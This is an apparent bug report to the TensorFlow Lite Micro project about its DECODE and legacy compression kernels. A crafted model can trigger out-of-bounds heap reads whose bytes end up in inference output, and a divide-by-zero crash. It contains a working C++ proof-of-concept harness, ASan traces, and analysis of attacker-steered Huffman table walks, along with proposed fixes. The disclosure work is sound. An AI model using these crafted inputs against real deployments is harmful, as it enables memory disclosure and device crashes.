DECODE kernels: decoder state derived from model bytes with no tensor-length validation — OOB reads land in decompressed output; empty scale vector divides by zero in Setup
Summary
The new DECODE operator family (tensorflow/lite/micro/kernels/decode*.cc,
landed 2026-05-27; registered as the TFLM_DECODE custom op via
AddDecode(), micro_mutable_op_resolver.h:218) derives all decoder state
from the model's ancillary bytes and output-tensor shape, and never
cross-checks any of it against the actual byte lengths of the input tensors.
Three consequences, all reproduced below against main @ bfeb43aa with the
real Register_DECODE() kernel through micro::KernelRunner:
- Value-table OOB read whose bytes become decompressed output — the LUT
decoder reads its value table starting at
ancillary + 16with a per-channel stride and channel count that all come from the same ancillary bytes; nothing binds the span to the ancillary tensor's length. Canary proof + ASanheap-buffer-overflow(READ of size 1, 127 bytes after a 16-byte region), symbolized todecode_state_lut.cc:500. - Compressed-bitstream OOB read whose bytes become decompressed output —
the number of index bits consumed is derived from the output tensor's
element count (
decode_state_lut.cc:55); the input tensor's length is never consulted. A 1-byte input tensor with a 512-element output reads past the input's end. Canary proof + ASanheap-buffer-overflow(0 bytes after a 1-byte region), symbolized todecode_state_lut.cc:492. - Division by zero in Setup —
num_channels_ = quantization->scale->size(decode_state_lut.cc:43) followed bycount_indices_ / num_channels_(:57): an affine-quantized output tensor with an empty scale vector divides by zero (SIGFPE; a hard fault on bare-metal targets). Same shape in the prune decoder, which additionally walkszero_point->datawith the scale count (decode_state_prune.cc:56-58) behind aTFLITE_DCHECKonly — a debug-build abort today, an unguarded OOB walk in release (-DNDEBUG) builds.
To be explicit about the threat model: per TensorFlow's security policy
(which tflite-micro's SECURITY.md defers to), TensorFlow models are programs
and running untrusted models is equivalent to running untrusted code — these
gaps are reachable only through a hand-crafted model, not through
production-grade benign models, so this is filed as a robustness/hardening
issue, not a security report. The practical relevance: the DECODE path is
being made the default compressed-model pipeline (#3647/#3687/#3691), the
official PyPI wheel builds with --//:with_compression=true and registers
AddDecode(), and tools/make ships the same kernels with
USE_TFLM_COMPRESSION=1 — so any host that loads a third-party compressed
model (CI evaluating submitted models, OTA model updates, model
marketplaces) reaches this code with model-supplied bytes.
Mechanism (main @ bfeb43aa)
The DECODE op consumes constant tensor pairs (decode.cc:93-94 enforces
IsConstantTensor): input (compressed indices/codewords) and ancillary
(16-byte DCM header + decoder data). Header fields per
decode_state.h: [0] decode type, [1] DCM version, [4] method
version, [5] params (low 3 bits = index bit width), [6] value-table
channel stride.
// decode_state_lut.cc:29-64 (DecodeStateLut::Setup)
const uint8_t* const ancillary_data = GetTensorData<uint8_t>(&ancillary);
if (ancillary_data[kDcmVersionOffset] != 1) { ... } // :33
num_channels_ = quantization->scale->size; // :43 (no >= 1 check)
...
compressed_indices_ = GetTensorData<uint8_t>(&input); // :54 (length never read)
count_indices_ = NumElements(&output); // :55 (output drives input consumption)
elements_per_channel_ =
use_alternate_axis_ ? 1 : count_indices_ / num_channels_; // :57 (SIGFPE when scale empty)
value_table_ = &ancillary_data[kDcmSizeInBytes]; // :58 (no span check vs tensor bytes)
value_table_channel_stride_ = ancillary_data[kDcmValueTableStrideOffset]; // :59
compressed_bit_width_ =
ancillary_data[kDcmParamsOffset] & kDcmParamsBitWidthMask; // :60-61
Decode then reads value_table[index] for index < 2^bit_width (up to 127),
advancing stride (up to 255) per channel for num_channels_ channels
(decode_state_lut.cc:136,426-459,467-503), and consumes
count_indices_ * bit_width bits from compressed_indices_
(GetNextTableIndexWidth1..7, decode_state_lut.cc:514+). Every quantity
in both spans comes from the hostile model; the tensors' own bytes counts
are never consulted.
The prune decoder has the same shapes (decode_state_prune.cc:44 scale-size
channels, :57-58 the zero-point walk, :87 the division) and the huffman
decoder starts the same way (decode_state_huffman.cc:38-40:
compressed_codewords_/count_codewords_ from input pointer + output
count, huffman_tables_ = &ancillary_data[16] with no length check). The
two LUT shapes below are the ones with runtime proof; the prune/huffman
analogs are included in the proposed fix.
Reproduction
Harness (self-contained; drives the real kernel via
tflite::micro::KernelRunner with Register_DECODE(), mirroring the repo's
own decode_test_helpers.h test path). Canary mode backs each hostile
tensor with a marker region past its declared end, so the leak is observable
without a sanitizer; exact mode ends the allocation at the declared extent so
ASan puts a redzone there.
// decode_hostile.cc — hostile-input probes for the TFLM_DECODE op.
// Usage: decode_hostile <d1|d2|d3|d4> [canary|exact]
//
// d1: LUT value table read from ancillary+16 without checking the
// ancillary tensor holds 2^bit_width * stride * channels bytes.
// d2: LUT consumes count*bit_width bits of input without checking the
// input tensor holds that many bits.
// d3: LUT Setup divides by num_channels_ when the output quantization
// scale vector is empty (scale->size() == 0).
// d4: prune Setup walks zero_point->data with the scale vector's count.
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <string_view>
#include <vector>
#include "tensorflow/lite/core/c/common.h"
#include "tensorflow/lite/micro/kernels/decode_state.h"
#include "tensorflow/lite/micro/kernels/kernel_runner.h"
#include "tensorflow/lite/micro/kernels/micro_ops.h"
#include "tensorflow/lite/micro/micro_log.h"
#include "tensorflow/lite/micro/test_helpers.h"
namespace tflite {
namespace {
constexpr size_t kDcmHeaderSize = 16;
struct QuantFields {
// TfLiteFloatArray / TfLiteIntArray carry inline trailing arrays, so the
// vectors must be heap-built with room for the trailing data.
TfLiteFloatArray* scale = nullptr;
TfLiteIntArray* zero_point = nullptr;
TfLiteAffineQuantization affine = {};
QuantFields(size_t scale_count, size_t zp_count) {
scale = static_cast<TfLiteFloatArray*>(
malloc(sizeof(TfLiteFloatArray) + scale_count * sizeof(float)));
scale->size = static_cast<int>(scale_count);
for (size_t i = 0; i < scale_count; i++) scale->data[i] = 1.0f;
zero_point = static_cast<TfLiteIntArray*>(
malloc(sizeof(TfLiteIntArray) + zp_count * sizeof(int)));
zero_point->size = static_cast<int>(zp_count);
for (size_t i = 0; i < zp_count; i++) zero_point->data[i] = 0;
affine.scale = scale;
affine.zero_point = zero_point;
affine.quantized_dimension = 0;
}
};
// 16-byte DCM header. [0]=type [1]=DCM version [4]=method version
// [5]=params (low 3 bits = index bit width) [6]=value-table channel stride.
std::vector<uint8_t> MakeHeader(uint8_t type, uint8_t bit_width,
uint8_t stride) {
std::vector<uint8_t> h(kDcmHeaderSize, 0);
h[0] = type;
h[1] = 1;
h[4] = 1;
h[5] = bit_width & 0x07;
h[6] = stride;
return h;
}
TfLiteTensor MakeByteTensor(const int* dims_data, const void* data,
const bool constant) {
TfLiteTensor t = {};
t.type = kTfLiteUInt8;
t.dims = testing::IntArrayFromInts(dims_data);
t.data.data = const_cast<void*>(data);
t.allocation_type = constant ? kTfLiteMmapRo : kTfLiteArenaRw;
size_t bytes = 1;
for (int i = 1; i <= dims_data[0]; i++) bytes *= dims_data[i];
t.bytes = bytes;
return t;
}
TfLiteTensor MakeOutTensor(const int* dims_data, void* data) {
TfLiteTensor t = {};
t.type = kTfLiteInt8;
t.dims = testing::IntArrayFromInts(dims_data);
t.data.data = data;
t.allocation_type = kTfLiteArenaRw;
size_t bytes = 1;
for (int i = 1; i <= dims_data[0]; i++) bytes *= dims_data[i];
t.bytes = bytes;
return t;
}
bool RunOnce(const uint8_t* anc_data, size_t anc_declared, const uint8_t* in_data,
size_t in_declared, int8_t* out_data, int out_count) {
TfLiteTensor tensors[3] = {};
int in_dims[] = {1, static_cast<int>(in_declared)};
int anc_dims[] = {1, static_cast<int>(anc_declared)};
int out_dims[] = {1, out_count};
tensors[0] = MakeByteTensor(in_dims, in_data, true);
tensors[1] = MakeByteTensor(anc_dims, anc_data, true);
tensors[2] = MakeOutTensor(out_dims, out_data);
int inputs[] = {2, 0, 1};
int outputs[] = {1, 2};
micro::KernelRunner runner(Register_DECODE(), tensors, 3,
testing::IntArrayFromInts(inputs),
testing::IntArrayFromInts(outputs), nullptr);
return runner.InitAndPrepare() == kTfLiteOk && runner.Invoke() == kTfLiteOk;
}
// d1: ancillary declared as exactly 16 bytes (header only, no value table).
int CaseD1(const char* mode) {
constexpr int kCount = 256;
const bool canary = strcmp(mode, "canary") == 0;
const std::vector<uint8_t> header = MakeHeader(DecodeState::kDcmTypeLUT, 7, 1);
std::vector<uint8_t> blob;
if (canary) {
blob = header;
blob.resize(kDcmHeaderSize + 256);
for (size_t i = 0; i < 256; i++)
blob[kDcmHeaderSize + i] = static_cast<uint8_t>(0xC0 | (i & 0x3F));
} else {
blob = header;
}
const size_t in_bytes = (kCount * 7 + 7) / 8;
std::vector<uint8_t> ones(in_bytes, 0xFF);
std::vector<uint8_t> zeros(in_bytes, 0x00);
std::vector<int8_t> out_ones(kCount), out_zeros(kCount);
if (!RunOnce(blob.data(), kDcmHeaderSize, ones.data(), in_bytes,
out_ones.data(), kCount) ||
!RunOnce(blob.data(), kDcmHeaderSize, zeros.data(), in_bytes,
out_zeros.data(), kCount)) {
MicroPrintf("d1: decode failed");
return 1;
}
MicroPrintf("d1 ones run out[0..3]: %02x %02x %02x %02x",
(uint8_t)out_ones[0], (uint8_t)out_ones[1], (uint8_t)out_ones[2],
(uint8_t)out_ones[3]);
MicroPrintf("d1 zeros run out[0..3]: %02x %02x %02x %02x",
(uint8_t)out_zeros[0], (uint8_t)out_zeros[1], (uint8_t)out_zeros[2],
(uint8_t)out_zeros[3]);
if (canary) {
// all-one index bits -> index 127 -> canary[127]; all-zero -> canary[0].
const uint8_t expect_ones = blob[kDcmHeaderSize + 127];
const uint8_t expect_zeros = blob[kDcmHeaderSize + 0];
const bool ones_ok = (uint8_t)out_ones[0] == expect_ones &&
(uint8_t)out_ones[kCount - 1] == expect_ones;
const bool zeros_ok = (uint8_t)out_zeros[0] == expect_zeros &&
(uint8_t)out_zeros[kCount - 1] == expect_zeros;
MicroPrintf("d1: ones->%02x (canary[127]=%02x) zeros->%02x (canary[0]=%02x)",
(uint8_t)out_ones[0], expect_ones, (uint8_t)out_zeros[0],
expect_zeros);
if (ones_ok && zeros_ok) {
MicroPrintf("D1 CONFIRMED: the LUT decoder read its value table from "
"bytes past the ancillary tensor's declared end and those "
"bytes are now decompressed model output");
return 0;
}
return 2;
}
MicroPrintf("D1 exact-mode run completed (ASAN reports if built sanitized)");
return 0;
}
// d2: input declared as 1 byte; output declares 512 elements of 7-bit indices.
int CaseD2(const char* mode) {
constexpr int kCount = 512;
const bool canary = strcmp(mode, "canary") == 0;
// Full in-bounds ancillary: header + 128-entry identity value table.
std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypeLUT, 7, 128);
anc.resize(kDcmHeaderSize + 128);
for (size_t i = 0; i < 128; i++) anc[kDcmHeaderSize + i] = (uint8_t)i;
std::vector<uint8_t> blob_ones(1), blob_zeros(1);
if (canary) {
blob_ones.resize(1 + 1024);
blob_zeros.resize(1 + 1024);
std::fill(blob_ones.begin() + 1, blob_ones.end(), 0xFF);
std::fill(blob_zeros.begin() + 1, blob_zeros.end(), 0x00);
}
std::vector<int8_t> out_ones(kCount), out_zeros(kCount);
if (!RunOnce(anc.data(), anc.size(), blob_ones.data(), 1, out_ones.data(),
kCount) ||
!RunOnce(anc.data(), anc.size(), blob_zeros.data(), 1, out_zeros.data(),
kCount)) {
MicroPrintf("d2: decode failed");
return 1;
}
// With a 0x00 first (in-bounds) byte and all-0xFF past-end bytes, indices
// at group >= 1 (offset >= 8) are 127; with all-0x00 past-end they are 0.
const int v_ones = (uint8_t)out_ones[16];
const int v_zeros = (uint8_t)out_zeros[16];
MicroPrintf("d2: out[16] ones-run=%d zeros-run=%d", v_ones, v_zeros);
if (canary && v_ones == 127 && v_zeros == 0) {
MicroPrintf("D2 CONFIRMED: past-the-end input bytes selected value-table "
"entries and became decompressed model output");
return 0;
}
if (!canary) {
MicroPrintf("D2 exact-mode run completed (ASAN reports if built "
"sanitized)");
return 0;
}
return 2;
}
// d3: empty scale vector -> num_channels_ == 0 -> count / 0 in Setup.
int CaseD3() {
constexpr int kCount = 16;
std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypeLUT, 4, 16);
anc.resize(kDcmHeaderSize + 32, 0);
std::vector<uint8_t> in(8, 0);
std::vector<int8_t> out(kCount);
QuantFields q(0, 0);
TfLiteTensor tensors[3] = {};
int in_dims[] = {1, 8};
int anc_dims[] = {1, static_cast<int>(anc.size())};
int out_dims[] = {1, kCount};
tensors[0] = MakeByteTensor(in_dims, in.data(), true);
tensors[1] = MakeByteTensor(anc_dims, anc.data(), true);
tensors[2] = MakeOutTensor(out_dims, out.data());
tensors[2].quantization.type = kTfLiteAffineQuantization;
tensors[2].quantization.params = &q.affine;
int inputs[] = {2, 0, 1};
int outputs[] = {1, 2};
micro::KernelRunner runner(Register_DECODE(), tensors, 3,
testing::IntArrayFromInts(inputs),
testing::IntArrayFromInts(outputs), nullptr);
const TfLiteStatus prepare = runner.InitAndPrepare();
MicroPrintf("d3: prepare returned %d (a SIGFPE before this line means the "
"division trapped)",
(int)prepare);
return 0;
}
// d4: prune Setup, scale->size()==64, zero_point->size()==1.
int CaseD4() {
constexpr int kCount = 64;
std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypePrune, 0, 0);
anc.resize(kDcmHeaderSize + 64, 0);
std::vector<uint8_t> in(kCount, 0);
std::vector<int8_t> out(kCount);
QuantFields q(64, 1);
TfLiteTensor tensors[3] = {};
int in_dims[] = {1, kCount};
int anc_dims[] = {1, static_cast<int>(anc.size())};
int out_dims[] = {1, kCount};
tensors[0] = MakeByteTensor(in_dims, in.data(), true);
tensors[1] = MakeByteTensor(anc_dims, anc.data(), true);
tensors[2] = MakeOutTensor(out_dims, out.data());
tensors[2].quantization.type = kTfLiteAffineQuantization;
tensors[2].quantization.params = &q.affine;
int inputs[] = {2, 0, 1};
int outputs[] = {1, 2};
micro::KernelRunner runner(Register_DECODE(), tensors, 3,
testing::IntArrayFromInts(inputs),
testing::IntArrayFromInts(outputs), nullptr);
const TfLiteStatus prepare = runner.InitAndPrepare();
const TfLiteStatus invoke =
prepare == kTfLiteOk ? runner.Invoke() : kTfLiteError;
MicroPrintf("d4: prepare=%d invoke=%d (walk of zero_point with scale-sized "
"count happens in Setup)",
(int)prepare, (int)invoke);
return 0;
}
} // namespace
} // namespace tflite
int main(int argc, char** argv) {
if (argc < 2) {
fprintf(stderr, "usage: %s <d1|d2|d3|d4> [canary|exact]\n", argv[0]);
return 64;
}
const char* mode = argc > 2 ? argv[2] : "canary";
const std::string_view c = argv[1];
if (c == "d1") return tflite::CaseD1(mode);
if (c == "d2") return tflite::CaseD2(mode);
if (c == "d3") return tflite::CaseD3();
if (c == "d4") return tflite::CaseD4();
return 64;
}
Build digest (repo-relative; -fsanitize=address -fno-omit-frame-pointer
appended for the ASan binary; compile the harness plus the tflm sources the
kernel pulls in — kernels/decode*.cc, kernels/kernel_runner.cc,
micro/test_helpers.cc, allocator/interpreter core — with
-std=c++17 -fno-rtti -fno-exceptions -g -O1 -DUSE_TFLM_COMPRESSION -DTF_LITE_STATIC_MEMORY and the repo + flatbuffers + gemmlowp include dirs;
full source list in the attached build script):
clang++ <flags> <object files> decode_hostile.cc -o decode_hostile # plain
clang++ <flags+asan> <object files> decode_hostile.cc -o decode_hostile_asan
Observed (main @ bfeb43aa, macOS x86_64, clang 17; transcripts verbatim;
ASan frames shown symbolized via atos, the raw reports carry unsymbolized
addresses):
$ ./decode_hostile d1 canary
d1 ones run out[0..3]: ff ff ff ff
d1 zeros run out[0..3]: c0 c0 c0 c0
d1: ones->ff (canary[127]=ff) zeros->c0 (canary[0]=c0)
D1 CONFIRMED: the LUT decoder read its value table from bytes past the
ancillary tensor's declared end and those bytes are now decompressed model output
[exit 0]
$ ASAN_OPTIONS=detect_leaks=0:symbolize=0 ./decode_hostile_asan d1 exact
==50813==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000017f
READ of size 1 thread T0
0x60200000017f is located 127 bytes after 16-byte region [0x6020000000f0,0x602000000100)
SUMMARY: heap-buffer-overflow
#0 tflite::DecodeStateLut::DecompressToBufferWidthAny<signed char>(signed char*) decode_state_lut.cc:500
#1 tflite::DecodeStateLut::DecompressToBuffer<signed char>(void*) decode_state_lut.cc:114
#2 tflite::DecodeStateLut::Decode(...) decode_state_lut.cc:80
#3 tflite::Eval(...) decode.cc:179
$ ./decode_hostile d2 canary
d2: out[16] ones-run=127 zeros-run=0
D2 CONFIRMED: past-the-end input bytes selected value-table entries and
became decompressed model output
[exit 0]
$ ASAN_OPTIONS=detect_leaks=0:symbolize=0 ./decode_hostile_asan d2 exact
==50815==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000f1
READ of size 1 thread T0
0x6020000000f1 is located 0 bytes after 1-byte region [0x6020000000f0,0x6020000000f1)
SUMMARY: heap-buffer-overflow
#0 tflite::DecodeStateLut::DecompressToBufferWidthAny<signed char>(signed char*) decode_state_lut.cc:492
(bitstream index read — GetNextTableIndexWidth7)
$ ./decode_hostile d3
Floating point exception: 8 # exit 136 = 128+SIGFPE, inside Setup
#0 tflite::DecodeStateLut::Setup decode_state_lut.cc:57
(elements_per_channel_ = count_indices_ / num_channels_)
#1 tflite::Prepare decode.cc:131
$ ./decode_hostile d4
Abort trap: 6 # exit 134 — debug TFLITE_DCHECK at
# decode_state_prune.cc:54 (num_channels_ == zero_point->size);
# with -DNDEBUG the DCHECK is compiled out and
# std::any_of (decode_state_prune.cc:56-58) walks
# zero_point->data + 64 over a 1-entry array
Control on the d1/d2 claims: each probe runs the SAME hostile tensors twice,
varying only the past-the-end backing bytes (0xFF vs 0x00); the decompressed
output follows that variation byte-for-byte (ff/c0 per canary position in
d1; 127/0 in d2) — i.e. the output content is a function of memory the
tensor does not own. d1's ASan report places the read exactly at the canary
position the canary run predicted (127 bytes past the 16-byte region).
Why the byte-value differences matter: the OOB bytes land in a decompressed tensor that flows to downstream operators and, in any deployment that returns inference output, leaves the process. The read position is also fully model-positioned (index bits + stride + channel count all come from the craft bytes), so adjacent heap content can be sampled by choice of index — or the walk can simply cross into an unmapped page and crash.
Proposed fix
Validate the declared spans against the tensors' actual byte counts in each
decoder's Setup, before any state is derived (all checks return
kTfLiteError with a diagnostic naming the tensor and the shortfall):
- Ancillary length (LUT, huffman, prune alike): require
ancillary.bytes >= kDcmSizeInBytesbefore reading header fields at offsets 4/5/6 (today even a 5-byte tensor is read at offset 6), and require the full declared span to fit:kDcmSizeInBytes + value_table_channel_stride_ * num_channels_ * 2^bit_widthfor the LUT (and the analogous huffman-table span for type 1). This closes the d1 read and the same-family huffman shape. - Input length: require the input tensor to hold the consumed bit
count,
ceil(count_indices_ * compressed_bit_width_ / 8)bytes for the LUT (count_codewords_ * 4bytes for huffman). This closes d2. - Channel derivation: reject
quantization->scale->size == 0(and the prune decoder's scale/zero-point size mismatch) with an error return instead of dividing by zero / walking past the zero-point array. Note the open channel-count rework #3691 replacesscale->sizewith an axis-derived count but keeps the sameTFLITE_DCHECK-only agreement check for zero points — the size checks are worth adding in either shape. The d3 SIGFPE is also a concrete crash repro for the empty / degenerate channel-count case #3685 describes for non-quantized tensors. - Optional: a single
DecodeState::Validate(input, ancillary, output)helper so the three decoders share the checks.
Happy to send a PR with the checks + these cases as regression tests if the approach sounds right.
Addendum: the same rule extends to the Huffman decoder and the legacy COMPRESSION_METADATA path
The parent report establishes the family rule for the LUT and prune decoders
with runtime proof: decoder state is derived from model-declared counts and
pointers, and the tensors' actual byte lengths are never consulted. Reading
the remaining consumers of the same trust boundary at the same commit
(bfeb43aa) shows the rule holds verbatim in two more places — and is
strictly stronger in one of them:
| surface | files | shapes |
|---|---|---|
| DECODE / Huffman | kernels/decode_state_huffman.{cc,h} |
H1 value-table walk with NO span cap at all (stronger than the LUT's 127-entry cap); H2 output-counted bitstream consumption |
| Legacy COMPRESSION_METADATA | micro_allocator.cc + micro_context.cc + kernels/decompress*.{h,cc} + kernels/kernel_util.h |
L1 value-table size never bound to 2^bitwidth; L2 metadata-vs-shape channel counts never cross-checked; L3 zero channel dim divides at construction; L4 indices buffer never sized vs the declared shape |
Status of this addendum: every section below is established by reading the
code at bfeb43aa (the line-anchored excerpts are inline). The probes that
exercise each shape are complete and buildable with the same recipe as the
parent report's harness, and their expected observations are enumerated in
the confirmation table below — but their run logs are still pending on the
reporting side and will be appended in a follow-up comment. Nothing below
claims an executed observation; every claim is checkable from the excerpts
and the probes without them.
H1 — Huffman decoder: the table walk has no span cap at all (OOB read disclosed into the output)
decode_state_huffman.cc:26-49 (Setup) derives the same three unvalidated
quantities the parent report showed for the LUT, plus a fourth with no LUT
analog:
compressed_codewords_ = GetTensorData<uint32_t>(&input); // :35 no size/type check
count_codewords_ = NumElements(&output); // :36 OUTPUT count [H2]
huffman_tables_ = &ancillary_data[kDcmSizeInBytes]; // :37 +16, no check the tensor holds 16 bytes
use_32bit_table_ = (ancillary_data[5] & 1) != 0; // :38-39
initial_table_size_ = (ancillary_data[5] & 0xF0) >> 4; // :40-42 4 bits -> [0,15]
Nothing in decode.cc's Prepare (:52-160) reads a tensor length — it
checks constant-tensor status, the DCM version byte, and dispatches on the
type byte. The ancillary tensor is an opaque byte tensor; the DCM header is
a custom binary format outside flatbuffer structural verification, so the
verifier cannot bound it either.
The decode walk (:77-118 for the 16-bit table; the 32-bit twin at
:120-151 is identical in shape with wider masks):
size_t remaining = count_codewords_; // :81 from OUTPUT elements
const size_t initial_table_size = initial_table_size_ + 1; // :82 log2(N), N in [2, 65536]
...
while (remaining--) {
size_t last_used_bits = initial_table_size;
uint32_t current_index = GetNextBits(last_used_bits, ...); // :94-95 index in [0, 2^16)
size_t table_offset = current_index; // :96 NO bound vs any table size
table_value = huffman_tables[table_offset]; // :97 first OOB-capable read
while (!(table_value & kTable16BitSymbolFoundMask)) { // :99 NO iteration cap
last_used_bits = ((table_value & kTable16BitCountMask)
>> kTable16BitCountShift) + 1; // :100-101
current_index = GetNextBits(last_used_bits, ...); // :102-103
const size_t next_table_offset =
table_value & kTable16BitValueMask; // :104 up to 0x07FF
table_offset += next_table_offset + current_index; // :105 ACCUMULATES, forward-only
table_value = huffman_tables[table_offset]; // :106
}
*buffer++ = table_value; // :109 OOB word -> output, verbatim
}
Three things make this strictly stronger than the parent report's LUT shape (whose span was capped at 127 entries of stride 255):
- The first lookup is already unbounded.
initial_table_size_is 4 model-controlled bits, so the first index spans[0, 2^16)entries — up to 65535 entries (131070 bytes for the 16-bit table) past the table base on the FIRST symbol, before any chaining. - The walk accumulates with no span cap and no iteration cap. Each step
adds
next_table_offset + current_index, wherenext_table_offsetis read from the table entry itself (:104; masksdecode_state_huffman.h:46for 16-bit,:50for 32-bit — the 32-bit mask is0x07FFFFFF, so a single step can advance ~512 MB). The mask bounds ONE step;table_offsetis never compared against any table size and the chain loop has no bound. The ancillary tensor lives in the model buffer, so the model author plants the chain entries: the walk is attacker-steered to a chosen relative offset, forward-only, as far as memory permits (an unmapped page is the only stop — a crash variant). - The OOB word is disclosed verbatim.
*buffer++ = table_value(:109, and:153in the 32-bit twin) writes the word the walk landed on straight into the decompressed output tensor — read and disclosure in one step.
Reachability is the parent report's path 1 unchanged: huffman is a type byte
in the same TFLM_DECODE custom op (ancillary[0]=1), so any
with_compression=true / AddDecode() host (the PyPI wheel,
tools/make with USE_TFLM_COMPRESSION=1) reaches it with model-supplied
bytes. The Xtensa variant (kernels/xtensa/xtensa_decode_state_huffman.cc)
has no Setup of its own — it inherits this one, so the same shapes apply on
Xtensa builds.
H2 — Huffman bitstream reader: consumption is counted by the OUTPUT, never bounded by the INPUT
decode_state_huffman.cc:35-36 + decode_state_huffman.h:85-123. The
number of codewords decoded is count_codewords_ = NumElements(&output)
(:36) — the OUTPUT's element count. The input tensor's byte length is
never read anywhere in the decoder:
void InitNextBits(...) const {
if (count_codewords_ > 0) { // h:87 the OUTPUT count gates the first read
...
head_hold = *head_next++; // h:90 reads input word 0 unconditionally
inline uint32_t GetNextBits(size_t count, ...) const {
...
if (count > head_offset) { // h:105
...
head_hold = *head_next++; // h:110 refill: NO bound on words consumed
No available-word count exists anywhere in the reader; refills are
unconditional (h:110). Bits demanded per output element are a function of
the table entries (1-16 bits per walk step), and the walk itself is the H1
unbounded loop — so words consumed past the input tensor's end are
attacker-steerable and unbounded. A 1-word input with a 512-element output
reads ~15 words past on a minimal table; arbitrarily more with crafted
tables. The past-end bits select table entries, so the output pattern
discloses the past-end input bytes — same class as the parent report's
shape 2, with a table-driven (rather than fixed-bitwidth) consumption rate.
When the input tensor's data pointer is null and the output is non-empty,
the first read is a null dereference instead.
L1-L4 — The legacy COMPRESSION_METADATA path carries the same four shapes
The pre-DECODE compression pipeline is still active at bfeb43aa and
reaches a wider kernel set than the DECODE op. The plumbing, end to end:
- Allocation time. A model carrying
COMPRESSION_METADATA(a size-prefixed flatbuffer in the model's metadata section) triggersInitializeCompressionTensorDataFromFlatbuffer(micro_allocator.cc:428-505, dispatched atmicro_allocator.cc:991) for each listed tensor. Its complete set of checks: tensor index in range (:437),index_bit_width <= 7(:443— note 0 passes), buffer index exists (:450), buffer data non-null (:458-459), shape non-scalar. It then takesvalue_table = value_buffer->data()(:463) and DERIVES the channel stride from the buffer size (:497-498per-channel,:502-503flat). - First kernel fetch.
kernels/kernel_util.h:110-135provides the compressed-inputGetTensorDataoverload every kernel can call; it routes toMicroContext::DecompressTensorToBuffer(micro_context.cc:84-122), which computescount = ElementCount(*tensor.dims)— the DECOMPRESSED element count (:89) — picks the channel count from the tensor SHAPE's channel axis (:97), and constructsDecompressionStateover the tensor's own model buffer as the compressed-indices source (:100). - Decompression.
kernels/decompress_common.ccfetches packed indices (GetNextTableIndexWidth1..7,:409-535, plus grouped uint64/uint32 loads at:50-56and:127-133that round past whole words) and indexesvalue_table[index]forindex < 2^bitwidth— the width-specialized paths index fixed ranges unconditionally (:59-83width-4 →[0..15],:136-160width-2 →[0..3],:215-307width-3 →[0..7]; generic:354,:395).
The four gaps, one per missing cross-check:
- L1 — value-table size is never bound to 2^bitwidth. Nothing in
micro_allocator.cc:428-505requires the value buffer to hold2^index_bit_widthentries (per channel). The stride is derived FROM the buffer size, but the INDEX width is independent — index > stride is admitted. A 1-float table with bitwidth 7 serves 126 of 128 reads from past the buffer; those become decompressed filter values. The stride constantkMaxValueTableChannelStride = 128(compression.h:36) is never enforced on this path. - L2 — the two channel counts are never compared. The stride is derived
with
num_channels = quantization->scale->size()— the METADATA count (micro_allocator.cc:483) — while the walk runs withnum_channels = tensor.dims->data[channel_axis]— the SHAPE count (micro_context.cc:97). Scale count 2 with a shape claiming 256 channels: stride 1 from a 2-entry table, walk covering 256 entries. Distinct trigger from L1 (fires with a table correctly sized for the METADATA count). - L3 — a zero channel dim divides at construction.
num_channels = tensor.dims->data[channel_axis]feedingelements_per_channel_ = count_indices_ / num_channels_in theDecompressionStateconstructor INITIALIZER LIST (decompress.h:78-81) — the division executes at construction, before any loop or guard, for any 0 at the channel axis of a per-channel-quantized compressed tensor (0/0 faults too). No dims>0 validation exists anywhere on this path. Same class as the parent report's shape 3 (SIGFPE; hard fault on bare metal), reached through the legacy path. - L4 — the indices buffer is never sized against the declared shape.
count = ElementCount(*tensor.dims)(micro_context.cc:89) is the DECOMPRESSED count; the fetchers readceil(count * bitwidth / 8)bytes from the tensor's own buffer, and nothing anywhere (micro_allocator.cc:428-505validates only the VALUE buffer) requires the tensor to hold that many bytes. A [512]-shaped compressed tensor with a 1-byte buffer at bitwidth 7 reads up to 448 bytes past.
Consumers (the reachability half): the generic overload in
kernel_util.h:110-135 makes every kernel that fetches a constant tensor
through it a consumer; verified present for fully_connected.cc:147+,
conv.cc, depthwise_conv.cc, concatenation.cc, transpose_conv.cc.
The decompressed values feed filter weights / kernel math / model outputs —
the disclosure channel. Writes remain bounded (the destination buffer is
sized by the tensor's own bytes), so like the parent report, the finding is
read-side; no write primitive exists in this family either (the huffman
output writes are bounded by count_codewords_, the output's own count —
decode_state_huffman.cc:92-117,136-161).
Threat model unchanged from the parent report: these are crafted-model-only paths (the legacy metadata is equally model-supplied data), so this is robustness/hardening, not a security report — but the legacy path widens the practical exposure because ANY compressed constant tensor in a model reaches it, not just the new DECODE op.
Reproduction for the addendum shapes
The huffman probes (self-contained; same KernelRunner approach as the parent
report's harness — drives the real Register_DECODE() kernel):
// poc_huffman_hostile.cc — hostile-input probes for the TFLM DECODE
// operator's HUFFMAN decoder (kernels/decode_state_huffman.cc @ bfeb43aa).
// Build per the recipe digest in the parent report; the harness mirrors the
// repo's own decode_test_helpers.h KernelRunner test path.
//
// h1-near: ancillary declared exactly 16 bytes (header only, NO table).
// initial-table-size bits select index 0 -> huffman_tables[0] is the
// first word past the declared tensor end; a symbol-found entry there
// is disclosed verbatim into output[0].
// h1-far : the canary region past the 16-byte ancillary is filled with
// non-symbol chain entries (advance 0x7FF per step); at a chosen
// landing offset a symbol entry carries a marker. The walk
// demonstrates an unbounded, attacker-steered forward read tens of
// KB past the tensor, with the landed word disclosed into output.
// h2 : input declared 1 word, output declares 512 elements; a minimal
// in-bounds 2-entry table consumes 1 bit per symbol -> 16 words are
// consumed from a 1-word input; the past-end bits select which table
// entry each element gets, so the output pattern discloses the
// past-end input bytes (0xFF-fill vs 0x00-fill runs differ).
//
// Usage: poc_huffman_hostile <h1-near|h1-far|h2> [canary|exact]
// canary: backing blob continues past the declared extent with markers
// (no sanitizer needed); exact: allocation ends at the declared
// extent so ASAN redzones catch the first past-end read.
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <vector>
#include "tensorflow/lite/core/c/common.h"
#include "tensorflow/lite/micro/kernels/decode_state.h"
#include "tensorflow/lite/micro/kernels/decode_state_huffman.h"
#include "tensorflow/lite/micro/kernels/kernel_runner.h"
#include "tensorflow/lite/micro/kernels/micro_ops.h"
#include "tensorflow/lite/micro/micro_log.h"
#include "tensorflow/lite/micro/test_helpers.h"
namespace tflite {
namespace {
